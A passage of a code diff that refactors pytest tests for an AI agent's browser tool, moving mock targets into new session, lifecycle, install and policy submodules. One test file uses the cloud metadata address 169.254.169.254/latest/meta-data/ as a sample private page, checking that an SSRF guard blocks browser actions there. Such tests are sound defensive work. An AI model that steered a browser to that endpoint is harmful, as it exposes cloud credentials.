patch("tools.browser_tool._resolve_npx_bin", return_value="/usr/bin/npx"), \ + with patch("tools.browser_tool_install._resolve_npx_bin", return_value="/usr/bin/npx"), \ patch("subprocess.Popen", return_value=proc), \ - patch("tools.browser_tool._kill_process_tree") as mock_kill: + patch("tools.browser_tool_lifecycle._kill_process_tree") as mock_kill: assert warm_agent_browser_npx_cache(timeout=60.0) is False mock_kill.assert_called_once_with(proc) @@ -183,23 +181,23 @@ def test_timeout_cleanup_communicate_itself_raising_does_not_propagate(): subprocess.TimeoutExpired(cmd=["npx"], timeout=5), ] ) - with patch("tools.browser_tool._resolve_npx_bin", return_value="/usr/bin/npx"), \ + with patch("tools.browser_tool_install._resolve_npx_bin", return_value="/usr/bin/npx"), \ patch("subprocess.Popen", return_value=proc), \ - patch("tools.browser_tool._kill_process_tree") as mock_kill: + patch("tools.browser_tool_lifecycle._kill_process_tree") as mock_kill: assert warm_agent_browser_npx_cache(timeout=60.0) is False mock_kill.assert_called_once_with(proc) def test_returns_false_on_nonzero_exit(): - with patch("tools.browser_tool._resolve_npx_bin", return_value="/usr/bin/npx"), patch( + with patch("tools.browser_tool_install._resolve_npx_bin", return_value="/usr/bin/npx"), patch( "subprocess.Popen", return_value=_mock_proc(returncode=1) ): assert warm_agent_browser_npx_cache() is False def test_returns_false_instead_of_raising_on_popen_failure(): - with patch("tools.browser_tool._resolve_npx_bin", return_value="/usr/bin/npx"), patch( + with patch("tools.browser_tool_install._resolve_npx_bin", return_value="/usr/bin/npx"), patch( "subprocess.Popen", side_effect=OSError("fork failed") ): assert warm_agent_browser_npx_cache() is False @@ -209,9 +207,9 @@ def test_returns_false_instead_of_raising_on_unexpected_communicate_exception(): """Fire-and-forget contract: hermes_cli/doctor.py calls this bare (no try/except of its own), so any exception must be swallowed here.""" proc = _mock_proc(communicate_side_effect=OSError("broken pipe")) - with patch("tools.browser_tool._resolve_npx_bin", return_value="/usr/bin/npx"), \ + with patch("tools.browser_tool_install._resolve_npx_bin", return_value="/usr/bin/npx"), \ patch("subprocess.Popen", return_value=proc), \ - patch("tools.browser_tool._kill_process_tree") as mock_kill: + patch("tools.browser_tool_lifecycle._kill_process_tree") as mock_kill: assert warm_agent_browser_npx_cache() is False mock_kill.assert_called_once_with(proc) diff --git a/tests/tools/test_browser_open_timeout.py b/tests/tools/test_browser_open_timeout.py index 2263383ed7..65720b2781 100644 --- a/tests/tools/test_browser_open_timeout.py +++ b/tests/tools/test_browser_open_timeout.py @@ -6,6 +6,10 @@ from unittest.mock import Mock, patch import pytest import tools.browser_tool as bt +from tools import browser_tool_session as bt_session +from tools import browser_tool_lifecycle as bt_lifecycle +from tools import browser_tool_cloud as bt_cloud +from tools import browser_tool_install as bt_install @pytest.fixture(autouse=True) @@ -37,11 +41,11 @@ class TestOpenCommandTimeout: class TestSandboxBypass: def test_docker_triggers_bypass(self, monkeypatch): - monkeypatch.setattr(bt, "_running_in_docker", lambda: True) - assert bt._needs_chromium_sandbox_bypass() is True + monkeypatch.setattr("tools.browser_tool_install._running_in_docker", lambda: True) + assert bt_session._needs_chromium_sandbox_bypass() is True def test_apparmor_userns_triggers_bypass(self, monkeypatch, tmp_path): - monkeypatch.setattr(bt, "_running_in_docker", lambda: False) + monkeypatch.setattr("tools.browser_tool_install._running_in_docker", lambda: False) sysctl = tmp_path / "apparmor_restrict_unprivileged_userns" sysctl.write_text("1\n", encoding="utf-8") @@ -55,12 +59,12 @@ class TestSandboxBypass: return real_open(path, *args, **kwargs) monkeypatch.setattr(builtins, "open", _open) - assert bt._needs_chromium_sandbox_bypass() is True + assert bt_session._needs_chromium_sandbox_bypass() is True class TestTimeoutErrorFormatting: def test_includes_stderr_detail(self): - err = bt._format_browser_timeout_error( + err = bt_session._format_browser_timeout_error( "open", 120, "", @@ -71,9 +75,9 @@ class TestTimeoutErrorFormatting: def test_local_install_hint(self, monkeypatch): - monkeypatch.setattr(bt, "_is_local_mode", lambda: True) - monkeypatch.setattr(bt, "_running_in_docker", lambda: False) - err = bt._format_browser_timeout_error("open", 60, "", "") + monkeypatch.setattr("tools.browser_tool_cloud._is_local_mode", lambda: True) + monkeypatch.setattr("tools.browser_tool_install._running_in_docker", lambda: False) + err = bt_session._format_browser_timeout_error("open", 60, "", "") assert "agent-browser install --with-deps" in err @@ -83,7 +87,7 @@ class TestReadCommandOutputFiles: stderr_path = tmp_path / "err" stdout_path.write_text("ok", encoding="utf-8") stderr_path.write_text("warn", encoding="utf-8") - stdout, stderr = bt._read_command_output_files(str(stdout_path), str(stderr_path)) + stdout, stderr = bt_session._read_command_output_files(str(stdout_path), str(stderr_path)) assert stdout == "ok" assert stderr == "warn" @@ -106,19 +110,19 @@ class TestCommandTimeoutRecovery: process.wait.side_effect = [subprocess.TimeoutExpired("agent-browser", 1), -9, 0] supervisor_events = [] - monkeypatch.setattr(bt, "_find_agent_browser", lambda: "agent-browser") - monkeypatch.setattr(bt, "_requires_real_termux_browser_install", lambda _cmd: False) - monkeypatch.setattr(bt, "_start_browser_cleanup_thread", lambda: None) - monkeypatch.setattr(bt, "_ensure_cdp_supervisor", lambda _: supervisor_events.append("ensure")) - monkeypatch.setattr(bt, "_stop_cdp_supervisor", lambda _: supervisor_events.append("stop")) + monkeypatch.setattr(bt_install, "_find_agent_browser", lambda: "agent-browser") + monkeypatch.setattr("tools.browser_tool_install._requires_real_termux_browser_install", lambda _cmd: False) + monkeypatch.setattr("tools.browser_tool_lifecycle._start_browser_cleanup_thread", lambda: None) + monkeypatch.setattr("tools.browser_tool_cdp._ensure_cdp_supervisor", lambda _: supervisor_events.append("ensure")) + monkeypatch.setattr("tools.browser_tool_cdp._stop_cdp_supervisor", lambda _: supervisor_events.append("stop")) monkeypatch.setattr(bt, "_socket_safe_tmpdir", lambda: str(tmp_path)) - monkeypatch.setattr(bt, "_write_owner_pid", lambda *_args: None) + monkeypatch.setattr("tools.browser_tool_lifecycle._write_owner_pid", lambda *_args: None) monkeypatch.setattr(bt, "_build_browser_env", lambda: {}) - monkeypatch.setattr(bt, "_merge_browser_path", lambda value: value) + monkeypatch.setattr("tools.browser_tool_install._merge_browser_path", lambda value: value) monkeypatch.setattr(subprocess, "Popen", lambda *_args, **_kwargs: process) monkeypatch.setattr("tools.interrupt.is_interrupted", lambda: False) - bt._run_browser_command(task_id, "click", ["@e1"], timeout=1) + bt_session._run_browser_command(task_id, "click", ["@e1"], timeout=1) assert task_id not in bt._last_active_session_key assert not (tmp_path / "agent-browser-stuck-session").exists() @@ -130,11 +134,11 @@ class TestCommandTimeoutRecovery: assert replacement is not session_info assert replacement["session_name"] != "stuck-session" assert replacement["bb_session_id"] == "cloud-session-1" - assert bt._get_session_info(task_id) is replacement + assert bt_session._get_session_info(task_id) is replacement provider = Mock() - monkeypatch.setattr(bt, "_get_cloud_provider", lambda: provider) - bt.cleanup_browser(task_id) + monkeypatch.setattr(bt_cloud, "_get_cloud_provider", lambda: provider) + bt_lifecycle.cleanup_browser(task_id) provider.close_session.assert_called_once_with("cloud-session-1") assert supervisor_events == ["ensure", "stop", "stop"] @@ -142,7 +146,7 @@ class TestCommandTimeoutRecovery: stale, replacement = {"session_name": "stale"}, {"session_name": "replacement"} bt._active_sessions["race"] = replacement - bt._discard_timed_out_browser_session("race", stale, str(tmp_path)) + bt_session._discard_timed_out_browser_session("race", stale, str(tmp_path)) assert bt._active_sessions["race"] is replacement assert tmp_path.exists() @@ -158,10 +162,10 @@ class TestBrowserNavigateOpenTimeout: return {"success": True, "data": {"title": "t", "url": args[0] if args else ""}} monkeypatch.setattr(bt, "_get_open_command_timeout", lambda first_open=False: 120 if first_open else 60) - monkeypatch.setattr(bt, "_run_browser_command", fake_run) - monkeypatch.setattr(bt, "_get_session_info", lambda key: {"_first_nav": True, "features": {}}) + monkeypatch.setattr(bt_session, "_run_browser_command", fake_run) + monkeypatch.setattr(bt_session, "_get_session_info", lambda key: {"_first_nav": True, "features": {}}) monkeypatch.setattr(bt, "_is_camofox_mode", lambda: False) - monkeypatch.setattr(bt, "_is_local_backend", lambda: True) + monkeypatch.setattr(bt_cloud, "_is_local_backend", lambda: True) monkeypatch.setattr(bt, "_is_local_sidecar_key", lambda key: False) monkeypatch.setattr( bt, "_navigation_session_key", lambda task_id, url, local_browser=False: task_id diff --git a/tests/tools/test_browser_orphan_reaper.py b/tests/tools/test_browser_orphan_reaper.py index 2d8bd9c907..692a4be738 100644 --- a/tests/tools/test_browser_orphan_reaper.py +++ b/tests/tools/test_browser_orphan_reaper.py @@ -6,6 +6,9 @@ import time from unittest.mock import patch import pytest +from tools import browser_tool_lifecycle as bt_lifecycle +from tools import browser_tool_session as bt_session +from tools import browser_tool_install as bt_install @pytest.fixture @@ -50,16 +53,16 @@ class TestReapOrphanedBrowserSessions: def test_no_socket_dirs_is_noop(self, fake_tmpdir): """No socket dirs => nothing happens, no errors.""" - from tools.browser_tool import _reap_orphaned_browser_sessions + from tools.browser_tool_lifecycle import _reap_orphaned_browser_sessions _reap_orphaned_browser_sessions() # should not raise def test_stale_dir_without_pid_file_is_removed(self, fake_tmpdir): """Socket dir with no PID file is cleaned up.""" - from tools.browser_tool import _reap_orphaned_browser_sessions + from tools.browser_tool_lifecycle import _reap_orphaned_browser_sessions d = _make_socket_dir(fake_tmpdir, "h_abc1234567") assert d.exists() with patch( - "tools.browser_tool._socket_dir_idle_seconds", + "tools.browser_tool_lifecycle._socket_dir_idle_seconds", return_value=10_000, ): _reap_orphaned_browser_sessions() @@ -67,11 +70,11 @@ class TestReapOrphanedBrowserSessions: def test_fresh_dir_without_pid_file_survives_creator_race(self, fake_tmpdir): """A concurrent reaper must not delete a session still starting.""" - from tools.browser_tool import _reap_orphaned_browser_sessions + from tools.browser_tool_lifecycle import _reap_orphaned_browser_sessions d = _make_socket_dir(fake_tmpdir, "h_starting1234") with patch( - "tools.browser_tool._socket_dir_idle_seconds", + "tools.browser_tool_lifecycle._socket_dir_idle_seconds", return_value=0.0, ): _reap_orphaned_browser_sessions() @@ -90,7 +93,7 @@ class TestReapOrphanedBrowserSessions: dir regardless of whether termination succeeded (best-effort semantics). """ - from tools.browser_tool import _reap_orphaned_browser_sessions + from tools.browser_tool_lifecycle import _reap_orphaned_browser_sessions d = _make_socket_dir(fake_tmpdir, "h_perm1234567", pid=12345) @@ -101,7 +104,7 @@ class TestReapOrphanedBrowserSessions: with patch("gateway.status._pid_exists", return_value=True), \ patch("gateway.status.get_process_start_time", return_value=777), \ - patch("tools.browser_tool._verify_reapable_browser_daemon", return_value=True), \ + patch("tools.browser_tool_lifecycle._verify_reapable_browser_daemon", return_value=True), \ patch("tools.process_registry.ProcessRegistry._terminate_host_pid", side_effect=mock_terminate): _reap_orphaned_browser_sessions() @@ -116,14 +119,14 @@ class TestReapOrphanedBrowserSessions: tree-kill, so it must be left alone (and the socket dir kept for a later sweep). """ - from tools.browser_tool import _reap_orphaned_browser_sessions + from tools.browser_tool_lifecycle import _reap_orphaned_browser_sessions _make_socket_dir(fake_tmpdir, "h_perm7654321", pid=12345) terminate_calls = [] with patch("gateway.status._pid_exists", return_value=True), \ patch("gateway.status.get_process_start_time", return_value=None), \ - patch("tools.browser_tool._verify_reapable_browser_daemon", return_value=True), \ + patch("tools.browser_tool_lifecycle._verify_reapable_browser_daemon", return_value=True), \ patch("tools.process_registry.ProcessRegistry._terminate_host_pid", side_effect=lambda pid, expected_start=None: terminate_calls.append(pid)): _reap_orphaned_browser_sessions() @@ -133,7 +136,7 @@ class TestReapOrphanedBrowserSessions: def test_corrupt_pid_file_is_cleaned(self, fake_tmpdir): """PID file with non-integer content is cleaned up.""" - from tools.browser_tool import _reap_orphaned_browser_sessions + from tools.browser_tool_lifecycle import _reap_orphaned_browser_sessions d = _make_socket_dir(fake_tmpdir, "h_corrupt1234") (d / "h_corrupt1234.pid").write_text("not-a-number") @@ -156,7 +159,7 @@ class TestOwnerPidCrossProcess: This is the core cross-process safety check: Process B scanning while Process A is using a browser must not kill A's daemon. """ - from tools.browser_tool import _reap_orphaned_browser_sessions + from tools.browser_tool_lifecycle import _reap_orphaned_browser_sessions # Use our own PID as the "owner" — guaranteed alive d = _make_socket_dir( @@ -185,7 +188,7 @@ class TestOwnerPidCrossProcess: Windows, or via the POSIX fallback's ``except PermissionError`` branch). Exposed to callers as ``alive=True``. """ - from tools.browser_tool import _reap_orphaned_browser_sessions + from tools.browser_tool_lifecycle import _reap_orphaned_browser_sessions d = _make_socket_dir( fake_tmpdir, "h_perm_owner1", pid=12345, owner_pid=22222 @@ -210,7 +213,6 @@ class TestOwnerPidCrossProcess: """OSError (e.g. permission denied) doesn't propagate — the reaper falls back to the legacy tracked_names heuristic in that case. """ - import tools.browser_tool as bt def raise_oserror(*a, **kw): raise OSError("permission denied") @@ -218,7 +220,7 @@ class TestOwnerPidCrossProcess: monkeypatch.setattr("builtins.open", raise_oserror) # Must not raise - bt._write_owner_pid(str(fake_tmpdir), "h_readonly123") + bt_lifecycle._write_owner_pid(str(fake_tmpdir), "h_readonly123") def test_run_browser_command_calls_write_owner_pid( self, fake_tmpdir, monkeypatch @@ -234,28 +236,28 @@ class TestOwnerPidCrossProcess: raise RuntimeError("short-circuit after owner_pid") monkeypatch.setattr(bt.subprocess, "Popen", _FakePopen) - monkeypatch.setattr(bt, "_find_agent_browser", lambda: "/bin/true") + monkeypatch.setattr(bt_install, "_find_agent_browser", lambda: "/bin/true") monkeypatch.setattr( - bt, "_requires_real_termux_browser_install", lambda *a: False + "tools.browser_tool_install._requires_real_termux_browser_install", lambda *a: False ) - monkeypatch.setattr(bt, "_chromium_installed", lambda: True) + monkeypatch.setattr("tools.browser_tool_install._chromium_installed", lambda: True) monkeypatch.setattr( - bt, "_get_session_info", + bt_session, "_get_session_info", lambda task_id: {"session_name": session_name}, ) calls = [] - orig_write = bt._write_owner_pid + orig_write = bt_lifecycle._write_owner_pid def _spy(*a, **kw): calls.append(a) orig_write(*a, **kw) - monkeypatch.setattr(bt, "_write_owner_pid", _spy) + monkeypatch.setattr("tools.browser_tool_lifecycle._write_owner_pid", _spy) with patch("tools.browser_tool._socket_safe_tmpdir", return_value=str(fake_tmpdir)): try: - bt._run_browser_command(task_id="test_task", command="goto", args=[]) + bt_session._run_browser_command(task_id="test_task", command="goto", args=[]) except Exception: pass @@ -298,7 +300,7 @@ class TestReaperIdentityGuard: def _run(self, fake_proc, socket_dir, session_name="h_sess123456", daemon_pid=12345, no_such=False, access_denied=False): import psutil - from tools.browser_tool import _verify_reapable_browser_daemon + from tools.browser_tool_lifecycle import _verify_reapable_browser_daemon def _factory(pid): if no_such: @@ -354,7 +356,7 @@ class TestReaperIdentityGuard: process is `sleep`, not agent-browser, so it must be left alone and the socket dir retained. """ - from tools.browser_tool import _reap_orphaned_browser_sessions + from tools.browser_tool_lifecycle import _reap_orphaned_browser_sessions d = _make_socket_dir(fake_tmpdir, "h_planted9999", pid=12345) @@ -382,16 +384,16 @@ class TestEmergencyCleanupRunsReaper: monkeypatch.setattr(bt, "_cleanup_done", False) reaper_called = [] - orig_reaper = bt._reap_orphaned_browser_sessions + orig_reaper = bt_lifecycle._reap_orphaned_browser_sessions def _spy_reaper(): reaper_called.append(True) orig_reaper() - monkeypatch.setattr(bt, "_reap_orphaned_browser_sessions", _spy_reaper) + monkeypatch.setattr("tools.browser_tool_lifecycle._reap_orphaned_browser_sessions", _spy_reaper) # No active sessions — reaper should still run - bt._emergency_cleanup_all_sessions() + bt_lifecycle._emergency_cleanup_all_sessions() assert reaper_called, ( "Reaper must run on exit even with no active sessions" @@ -410,11 +412,11 @@ class TestSocketDirIdleSeconds: """Unit tests for the idle-age signal backing the leak escape hatch.""" def test_missing_dir_returns_none(self, tmp_path): - from tools.browser_tool import _socket_dir_idle_seconds + from tools.browser_tool_lifecycle import _socket_dir_idle_seconds assert _socket_dir_idle_seconds(str(tmp_path / "nope")) is None def test_fresh_dir_is_near_zero(self, tmp_path): - from tools.browser_tool import _socket_dir_idle_seconds + from tools.browser_tool_lifecycle import _socket_dir_idle_seconds d = tmp_path / "agent-browser-h_fresh" d.mkdir() assert _socket_dir_idle_seconds(str(d)) < 5 @@ -427,7 +429,7 @@ class TestSocketDirIdleSeconds: Reading only the directory mtime would therefore report a busy session as idle and reap it. The reaper must scan entries too. """ - from tools.browser_tool import _socket_dir_idle_seconds + from tools.browser_tool_lifecycle import _socket_dir_idle_seconds d = tmp_path / "agent-browser-h_reuse" d.mkdir() f = d / "_stdout_click" @@ -456,7 +458,7 @@ class TestLeakedDaemonWithLiveOwner: def test_fresh_untracked_daemon_with_live_owner_is_spared(self, fake_tmpdir): """Within the grace window, cross-process safety still wins.""" - from tools.browser_tool import _reap_orphaned_browser_sessions + from tools.browser_tool_lifecycle import _reap_orphaned_browser_sessions d = _make_socket_dir( fake_tmpdir, "h_fresh_owner", pid=12345, owner_pid=os.getpid() @@ -464,7 +466,7 @@ class TestLeakedDaemonWithLiveOwner: kill_calls = [] with patch("gateway.status._pid_exists", return_value=True), \ - patch("tools.browser_tool._verify_reapable_browser_daemon", return_value=True), \ + patch("tools.browser_tool_lifecycle._verify_reapable_browser_daemon", return_value=True), \ patch("tools.process_registry.ProcessRegistry._terminate_host_pid", side_effect=kill_calls.append): _reap_orphaned_browser_sessions() @@ -474,10 +476,8 @@ class TestLeakedDaemonWithLiveOwner: def test_idle_untracked_daemon_with_live_owner_is_reaped(self, fake_tmpdir): """Past the grace window, an untracked daemon is treated as leaked.""" - from tools.browser_tool import ( - BROWSER_ORPHAN_GRACE_SECONDS, - _reap_orphaned_browser_sessions, - ) + from tools.browser_tool import BROWSER_ORPHAN_GRACE_SECONDS + from tools.browser_tool_lifecycle import _reap_orphaned_browser_sessions d = _make_socket_dir( fake_tmpdir, "h_leaked_owner", pid=12345, owner_pid=os.getpid() @@ -487,7 +487,7 @@ class TestLeakedDaemonWithLiveOwner: with patch("gateway.status._pid_exists", return_value=True), \ patch("gateway.status.get_process_start_time", return_value=777), \ - patch("tools.browser_tool._verify_reapable_browser_daemon", return_value=True), \ + patch("tools.browser_tool_lifecycle._verify_reapable_browser_daemon", return_value=True), \ patch("tools.process_registry.ProcessRegistry._terminate_host_pid", side_effect=lambda pid, expected_start=None: kill_calls.append(pid)): _reap_orphaned_browser_sessions() @@ -502,10 +502,8 @@ class TestLeakedDaemonWithLiveOwner: bookkeeping that is present and says the session is live. """ import tools.browser_tool as bt - from tools.browser_tool import ( - BROWSER_ORPHAN_GRACE_SECONDS, - _reap_orphaned_browser_sessions, - ) + from tools.browser_tool import BROWSER_ORPHAN_GRACE_SECONDS + from tools.browser_tool_lifecycle import _reap_orphaned_browser_sessions d = _make_socket_dir( fake_tmpdir, "h_tracked_old", pid=12345, owner_pid=os.getpid() @@ -515,7 +513,7 @@ class TestLeakedDaemonWithLiveOwner: kill_calls = [] with patch("gateway.status._pid_exists", return_value=True), \ - patch("tools.browser_tool._verify_reapable_browser_daemon", return_value=True), \ + patch("tools.browser_tool_lifecycle._verify_reapable_browser_daemon", return_value=True), \ patch("tools.process_registry.ProcessRegistry._terminate_host_pid", side_effect=kill_calls.append): _reap_orphaned_browser_sessions() @@ -525,7 +523,7 @@ class TestLeakedDaemonWithLiveOwner: def test_unknown_idle_age_fails_safe(self, fake_tmpdir): """Unreadable mtime => treat as too young to reap, never guess.""" - from tools.browser_tool import _reap_orphaned_browser_sessions + from tools.browser_tool_lifecycle import _reap_orphaned_browser_sessions d = _make_socket_dir( fake_tmpdir, "h_unknown_age", pid=12345, owner_pid=os.getpid() @@ -533,8 +531,8 @@ class TestLeakedDaemonWithLiveOwner: kill_calls = [] with patch("gateway.status._pid_exists", return_value=True), \ - patch("tools.browser_tool._socket_dir_idle_seconds", return_value=None), \ - patch("tools.browser_tool._verify_reapable_browser_daemon", return_value=True), \ + patch("tools.browser_tool_lifecycle._socket_dir_idle_seconds", return_value=None), \ + patch("tools.browser_tool_lifecycle._verify_reapable_browser_daemon", return_value=True), \ patch("tools.process_registry.ProcessRegistry._terminate_host_pid", side_effect=kill_calls.append): _reap_orphaned_browser_sessions() @@ -548,10 +546,8 @@ class TestLeakedDaemonWithLiveOwner: That guard is the anti-spoof / anti-PID-recycle defense (issue #14073); an idle daemon is still only reapable if it verifies. """ - from tools.browser_tool import ( - BROWSER_ORPHAN_GRACE_SECONDS, - _reap_orphaned_browser_sessions, - ) + from tools.browser_tool import BROWSER_ORPHAN_GRACE_SECONDS + from tools.browser_tool_lifecycle import _reap_orphaned_browser_sessions d = _make_socket_dir( fake_tmpdir, "h_unverified", pid=12345, owner_pid=os.getpid() @@ -560,7 +556,7 @@ class TestLeakedDaemonWithLiveOwner: kill_calls = [] with patch("gateway.status._pid_exists", return_value=True), \ - patch("tools.browser_tool._verify_reapable_browser_daemon", return_value=False), \ + patch("tools.browser_tool_lifecycle._verify_reapable_browser_daemon", return_value=False), \ patch("tools.process_registry.ProcessRegistry._terminate_host_pid", side_effect=kill_calls.append): _reap_orphaned_browser_sessions() @@ -592,12 +588,12 @@ class TestPeriodicOrphanReap: orig_running = bt._cleanup_running bt._cleanup_running = True try: - with patch("tools.browser_tool._reap_orphaned_browser_sessions", + with patch("tools.browser_tool_lifecycle._reap_orphaned_browser_sessions", side_effect=lambda: reap_calls.append(1)), \ - patch("tools.browser_tool._cleanup_inactive_browser_sessions", + patch("tools.browser_tool_lifecycle._cleanup_inactive_browser_sessions", side_effect=fake_cleanup), \ patch("tools.browser_tool.time.sleep"): - bt._browser_cleanup_thread_worker() + bt_lifecycle._browser_cleanup_thread_worker() finally: bt._cleanup_running = orig_running diff --git a/tests/tools/test_browser_private_page_action_guard.py b/tests/tools/test_browser_private_page_action_guard.py index 8e1fd3b3bf..d1c43c6fbd 100644 --- a/tests/tools/test_browser_private_page_action_guard.py +++ b/tests/tools/test_browser_private_page_action_guard.py @@ -5,6 +5,8 @@ import json import pytest from tools import browser_tool +from tools import browser_tool_eval_policy as bt_eval_policy +from tools import browser_tool_session as bt_session PRIVATE_URL = "http://169.254.169.254/latest/meta-data/" @@ -25,13 +27,13 @@ def _browser_mode(monkeypatch): ], ) def test_private_page_blocks_state_changing_actions(monkeypatch, tool_call, args): - monkeypatch.setattr(browser_tool, "_eval_ssrf_guard_active", lambda task_id: True) - monkeypatch.setattr(browser_tool, "_current_page_private_url", lambda task_id: PRIVATE_URL) + monkeypatch.setattr(bt_eval_policy, "_eval_ssrf_guard_active", lambda task_id: True) + monkeypatch.setattr(bt_eval_policy, "_current_page_private_url", lambda task_id: PRIVATE_URL) def fail_run(*_args, **_kwargs): raise AssertionError("browser command should not run on a private page") - monkeypatch.setattr(browser_tool, "_run_browser_command", fail_run) + monkeypatch.setattr(bt_session, "_run_browser_command", fail_run) out = json.loads(tool_call(*args, task_id="task-1")) @@ -44,14 +46,14 @@ def test_private_page_blocks_state_changing_actions(monkeypatch, tool_call, args def test_click_still_runs_when_current_page_is_public(monkeypatch): calls = [] - monkeypatch.setattr(browser_tool, "_eval_ssrf_guard_active", lambda task_id: True) - monkeypatch.setattr(browser_tool, "_current_page_private_url", lambda task_id: None) + monkeypatch.setattr(bt_eval_policy, "_eval_ssrf_guard_active", lambda task_id: True) + monkeypatch.setattr(bt_eval_policy, "_current_page_private_url", lambda task_id: None) def fake_run(task_id, command, args): calls.append((task_id, command, args)) return {"success": True} - monkeypatch.setattr(browser_tool, "_run_browser_command", fake_run) + monkeypatch.setattr(bt_session, "_run_browser_command", fake_run) out = json.loads(browser_tool.browser_click("e1", task_id="task-1")) @@ -66,18 +68,18 @@ def test_guard_inactive_does_not_block_or_probe(monkeypatch): if the guard condition is ever inverted, so it is exercised explicitly.""" calls = [] - monkeypatch.setattr(browser_tool, "_eval_ssrf_guard_active", lambda task_id: False) + monkeypatch.setattr(bt_eval_policy, "_eval_ssrf_guard_active", lambda task_id: False) def fail_probe(task_id): raise AssertionError("_current_page_private_url must not be probed when guard inactive") - monkeypatch.setattr(browser_tool, "_current_page_private_url", fail_probe) + monkeypatch.setattr(bt_eval_policy, "_current_page_private_url", fail_probe) def fake_run(task_id, command, args): calls.append((task_id, command, args)) return {"success": True} - monkeypatch.setattr(browser_tool, "_run_browser_command", fake_run) + monkeypatch.setattr(bt_session, "_run_browser_command", fake_run) out = json.loads(browser_tool.browser_click("@e1", task_id="task-1")) @@ -94,8 +96,8 @@ def test_camofox_short_circuits_before_guard(monkeypatch): def fail_guard(task_id): raise AssertionError("guard must not run in camofox mode") - monkeypatch.setattr(browser_tool, "_eval_ssrf_guard_active", fail_guard) - monkeypatch.setattr(browser_tool, "_current_page_private_url", fail_guard) + monkeypatch.setattr(bt_eval_policy, "_eval_ssrf_guard_active", fail_guard) + monkeypatch.setattr(bt_eval_policy, "_current_page_private_url", fail_guard) import tools.browser_camofox as camofox @@ -117,10 +119,10 @@ def test_browser_back_blocks_when_landed_page_is_private(monkeypatch): """Browser history can land on a private/internal address the initial browser_navigate preflight never saw — the same class of gap already closed for browser_snapshot/vision/console/eval and click/type/press.""" - monkeypatch.setattr(browser_tool, "_eval_ssrf_guard_active", lambda task_id: True) - monkeypatch.setattr(browser_tool, "_current_page_private_url", lambda task_id: PRIVATE_URL) + monkeypatch.setattr(bt_eval_policy, "_eval_ssrf_guard_active", lambda task_id: True) + monkeypatch.setattr(bt_eval_policy, "_current_page_private_url", lambda task_id: PRIVATE_URL) monkeypatch.setattr( - browser_tool, "_run_browser_command", + bt_session, "_run_browser_command", lambda task_id, command, args: {"success": True, "data": {"url": PRIVATE_URL}}, ) @@ -135,10 +137,10 @@ def test_browser_back_blocks_when_landed_page_is_private(monkeypatch): def test_browser_back_returns_url_when_landed_page_is_public(monkeypatch): - monkeypatch.setattr(browser_tool, "_eval_ssrf_guard_active", lambda task_id: True) - monkeypatch.setattr(browser_tool, "_current_page_private_url", lambda task_id: None) + monkeypatch.setattr(bt_eval_policy, "_eval_ssrf_guard_active", lambda task_id: True) + monkeypatch.setattr(bt_eval_policy, "_current_page_private_url", lambda task_id: None) monkeypatch.setattr( - browser_tool, "_run_browser_command", + bt_session, "_run_browser_command", lambda task_id, command, args: {"success": True, "data": {"url": "https://example.com/"}}, ) @@ -153,8 +155,8 @@ def test_browser_back_camofox_short_circuits_before_guard(monkeypatch): def fail_guard(task_id): raise AssertionError("guard must not run in camofox mode") - monkeypatch.setattr(browser_tool, "_eval_ssrf_guard_active", fail_guard) - monkeypatch.setattr(browser_tool, "_current_page_private_url", fail_guard) + monkeypatch.setattr(bt_eval_policy, "_eval_ssrf_guard_active", fail_guard) + monkeypatch.setattr(bt_eval_policy, "_current_page_private_url", fail_guard) import tools.browser_camofox as camofox diff --git a/tests/tools/test_browser_real_profile.py b/tests/tools/test_browser_real_profile.py index a181469197..8483a46e7f 100644 --- a/tests/tools/test_browser_real_profile.py +++ b/tests/tools/test_browser_real_profile.py @@ -12,6 +12,12 @@ import ntpath from unittest.mock import Mock, patch import pytest +from tools import browser_tool_cdp as bt_cdp +from tools import browser_tool_cloud as bt_cloud +from tools import browser_tool_lightpanda_fallback as bt_lightpanda_fallback +from tools import browser_tool_real_profile as bt_real_profile +from tools import browser_tool_session as bt_session +from tools import browser_tool_install as bt_install class TestRealProfileResolvers: @@ -188,35 +194,32 @@ class TestSnapshotRealProfile: class TestRealProfileCdpLaunch: - """The agent-browser-based launcher in browser_tool._real_profile_cdp.""" + """The agent-browser-based launcher in browser_tool_real_profile._real_profile_cdp.""" def _reset(self): import tools.browser_tool as bt bt._real_profile_cdp_cache.clear() def test_consent_off_is_noop(self): - import tools.browser_tool as bt self._reset() - with patch.object(bt, "_use_real_profile", return_value=False): - cdp, err = bt._real_profile_cdp() + with patch.object(bt_cloud, "_use_real_profile", return_value=False): + cdp, err = bt_real_profile._real_profile_cdp() assert cdp is None and err is None def test_non_chromium_default_fails_closed(self): - import tools.browser_tool as bt self._reset() - with patch.object(bt, "_use_real_profile", return_value=True), \ + with patch.object(bt_cloud, "_use_real_profile", return_value=True), \ patch("hermes_cli.browser_connect.detect_default_chromium", return_value=None): - cdp, err = bt._real_profile_cdp() + cdp, err = bt_real_profile._real_profile_cdp() assert cdp is None assert err and "not a supported Chromium" in err def test_snapshot_failure_fails_closed(self): - import tools.browser_tool as bt self._reset() - with patch.object(bt, "_use_real_profile", return_value=True), \ + with patch.object(bt_cloud, "_use_real_profile", return_value=True), \ patch("hermes_cli.browser_connect.detect_default_chromium", return_value="chrome"), \ patch("hermes_cli.browser_connect.snapshot_real_profile", return_value=(None, "boom")): - cdp, err = bt._real_profile_cdp() + cdp, err = bt_real_profile._real_profile_cdp() assert cdp is None assert err and "boom" in err @@ -233,17 +236,17 @@ class TestRealProfileCdpLaunch: (tmp_path / "DevToolsActivePort").write_text("41000\n/devtools/browser/x\n") return FakeChrome() - with patch.object(bt, "_use_real_profile", return_value=True), \ + with patch.object(bt_cloud, "_use_real_profile", return_value=True), \ patch("hermes_cli.browser_connect.detect_default_chromium", return_value="chrome"), \ patch("hermes_cli.browser_connect.snapshot_real_profile", return_value=(str(tmp_path), None)), \ patch("hermes_cli.browser_connect.chromium_executable", return_value="/usr/bin/chrome"), \ patch.object(bt.subprocess, "Popen", side_effect=fake_popen), \ - patch.object(bt, "_agent_browser_get_cdp", + patch.object(bt_real_profile, "_agent_browser_get_cdp", side_effect=[None, "http://127.0.0.1:41000"]), \ - patch.object(bt, "_find_agent_browser", return_value="/usr/bin/agent-browser"), \ + patch.object(bt_install, "_find_agent_browser", return_value="/usr/bin/agent-browser"), \ patch.object(bt.subprocess, "run", return_value=proc), \ - patch.object(bt, "_is_headed_mode", return_value=False): - cdp, err = bt._real_profile_cdp() + patch.object(bt_cloud, "_is_headed_mode", return_value=False): + cdp, err = 